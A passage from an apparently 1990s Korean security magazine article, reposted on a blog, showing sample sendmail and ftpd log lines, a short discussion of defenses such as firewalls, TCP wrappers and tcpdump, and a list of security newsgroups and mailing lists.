Mar 17 09:37:16 6C:luthien.seri.re.kr sendmail[10578]: JAA10572: to=sysuh@kigam.re.kr, ctladdr=news (15/15), delay=00:0 0:09, mailer=smtp, relay=sdp.kigam.re.kr.
[134.75.144.201], stat=Sent (JAA15213 Message accepted for delivery)
Mar 17 13:31:46 6B:frodo.seri.re.kr Xsession: poison: login
Mar 17 13:40:32 6C:gimli.seri.re.kr ftpd[533]: connect from eve.kaist.ac.kr
Mar 17 13:49:32 6D:indigo1.seri.re.kr ftpd[533]: connection from robin.kaist.ac.kr
이런 방법 외에도 파이어월, TCP wrapper 등을 이용해 아예 외부에서의 접근을 막아버릴 수 있다. 물론 tcpdump나 netmon들을 사용해 자신의 호스트로의 모든 접근을 감시할 수도 있다. 이와 같이 방어하는 기술도 점점 고도화가 되어 고수준의 해커가 아니 면 침투하기 어려운 호스트가 늘어가고 있다.
그 무수한 버그들을 모두 머리에 외어두고 이를 모두 패치하기란 상당히 어려운 일이다. 이런 경우에는 보안툴을 이용하여 체 크를 하는 것이 많은 시간을 절약할 수 있게 된다. 다음호(6월호)
o 뉴스그룹 o 메일링 리스트
alt.2600 cert-advisory@cert.org
alt.2600.hope.tech ciac-listproc@llnl.gov
alt.cracks majordomo@suburbia.net
alt.hackers majordomo@greatcircle.com
alt.hackintosh bugtraq-request@crimelab.com
alt.hacker.malicious majordomo@8lgm.org
alt.security security@baikdu.kaist.ac.kr
alt.security.pgp
alt.security.ripem
comp.risks
comp.security.announce
comp.security.misc
comp.security.unix
misc.security
댓글 없음:
댓글 쓰기